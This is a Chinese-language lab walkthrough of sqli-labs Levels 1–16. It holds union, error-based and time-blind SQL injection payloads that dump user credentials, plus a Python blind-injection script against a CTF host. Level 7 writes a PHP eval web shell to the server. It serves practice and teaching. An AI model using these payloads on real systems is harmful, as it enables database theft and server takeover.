sql靶场
第一关
首先我们需要判断是否存在sql注入点,前端界面提示我使用ID作为参数,在url地址栏输入?id=1
通过输入不同的id值查询数据库相对应的内容,之后判断为数字型还是字符型
根据查询内容判断为字符型且有注入点,再通过联合查询,可以一起查询相同列数,且字段名一样的表
要使用sql语句我们需要逃出单引号的控制,闭合单引号。我们还需要知道联合查询的列数,需要求出当前表的列数,需要使用order by检测他的列数 order by 3 --+,再使用order by 4 --+判断列数
3时正常回显,为4时没有正常回显,知道为3列。使用联合查询
?id=-1'union select 1,2,3--+
根据语法可知union的使用,可以查询相应
?id=-1'union select 1,database(),version()--+
进行爆表,已知mysql中information_schema表中有mysql数据。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出相对应的字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
第二关
?id=1 正常回显
?id=1" 报错 ' " LIMIT 0,1 '
?id=1--+ 正常
由此判断是数字型注入
根据查看源码知道第二关和第一关就是类型上面的区别
?id=-1 union select 1,2,group_concat(username ,id , password) from users--+
第三关
?id=1 正常
?id=1" 正常
?id=2" 正常
?id=1"--+ 正常
?id=;/';[]' 报错 ' ;/';[]'') LIMIT 0,1 '
判断是字符型注入,闭合方式是')
?id=1') order by 3--+ 正常
判断回显位有三个。
同上第一第二关
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
?id=-1') and 1=2 union select 1,2,group_concat(username ,id , password) from users--+
第四关
通过源码已知和第3关一样只是闭合方式不同
?id=1 正常
?id=2-1 回显和id=2一样,不是数字型
?id=1' 正常
?id=1" 报错'"1"") LIMIT 0,1'
判断是字符型注入,闭合方式是")
?id=-1") and 1=2 union select 1,2,group_concat(username ,id , password) from users--+
第五关
继续判断闭合方式和类型
?id=1 回显You are in...........
?id=2-1 回显You are in...........
?id=1' 回显' '1'' LIMIT 0,1 '
判断是字符型,'闭合。
查看源码已知本关使用的是报错注入
爆表名
?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+
爆数据库表名
?id=1' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,0x7e),3)--+
爆字段名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
第六关
和第五关一样就是闭合方式不同,换成了=="
第七关
?id=1 You are in.... Use outfile......提示用文件
?id=1''''' 回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+ 回显You have an error in your SQL syntax
?id=1'))--+ You are in.... Use outfile......
说明是字符型注入闭合是 '))
测一下显位
?id=1')) order by 3--+ 回显正常 You are in.... Use outfile......
判断回显位有三个。
已知第七关是一个文件上传漏洞,通过上传php脚本创建后门,再使用antswork连接
上传test.php后门文件
?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%3C?php%20@eval($_POST[cmd]);%20?%3E%20into%20outfile%20%22F:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php%22--+
访问界面证明php脚本生效
直接antswork连接
第八关
继续查看闭合方式
?id=1 You are in....
?id=1''''' 无回显,看不见报错
?id=1'--+ 无回显,看不见报错
...
...
...
?id=1"--+ You are in....,双引号闭合
说明是字符型注入闭合是 "
?id=1" order by 1--+ 回显正常 You are in....
?id=1" order by 2--+ 回显正常 You are in....
?id=1" order by 3--+ 回显正常 You are in....
判断不了回显位,后来盲注脚本用的时候也不需要。
可能使用的时间盲注
id=1' and sleep(5) --+
猜表名是security
?id=1' and if(left(database(),1)='s',sleep(5),null)--+
?id=1' and if(left(database(),2)='se',sleep(5),null)--+
5秒后返回该界面
第九关
?id=1 You are in....
?id=1''''' You are in....
?id=1"""")))) You are in....
?id=1'--+ You are in....
...
...
...
啥都是You are in....(也算是得用时间盲注的一个标志)
判断不了闭合和位数
?id=1' and sleep(3) --+ 有明显延迟
?id=1" and sleep(3) --+ 无延迟
?id=1') and sleep(3) --+ 无延迟
说明这里的闭合是单引号。 位数暂时不判断了,用脚本的话不需要位数
直接上时间盲注的脚本
import requests
import time
s = requests.session() #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'
# 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
# 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
# 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
stime = time.time()
url1 = url + payload
r = s.get(url=url1)
r.encoding = "utf-8"
# print(payload)
if time.time() - stime < 2:
low = mid + 1
else:
high = mid
if low != 32:
flag += chr(low)
else:
break
print(flag)
第十关
和第九关一样只是闭合方式不同,该关使用的 " 闭合
第十一关
类型转换,为post请求了使用bp抓包查看
使用admin' 报错
使用admin'# 不报错
知道为'闭合
' union select 1,2 # 判断回显
' union select 1,database() # 爆出数据库
爆出表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
爆出列名
' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
爆数据
' union select 1,group_concat(username,password) from users #
第十二关
同上第十一关闭合方式不同,该关为") 闭合方式
第十三关
admin'
报错near '111') LIMIT 0,1' at line 1
说明是')闭合
输入') # 或') or 1=1 #
却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注
1') order by 3#报错
1') order by 2#无回显
所以字段数为2
爆库名
1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #
爆表名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#
爆列名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#
爆数据名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#
第十四关
同上13关,闭合方式为 "
第十五关
1' or 1=1-- 登录成功图片
1" or 1=1-- 登录失败图片
1') or 1=1-- 登录失败图片
1") or 1=1-- 登录失败图片
所以闭合是单引号 '
1' order by 1-- 登录失败图片
1' order by 2-- 登录失败图片
1' order by 3-- 登录失败图片
1' order by 4-- 登录失败图片
测不了一点。但是应该是2,而且盲注不需要。
爆库长 admin' and if(length(database())=8,sleep(5),null) #
从左边第一个字母开始,判断库名第一个字母是不是s
admin' and if(left(database(),1)='s',sleep(5),null) #
admin' and if(left(database(),2)='se',sleep(5),null) #
爆表名
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)#
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)#
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)#
第十六关
同上15关,闭合方式为 "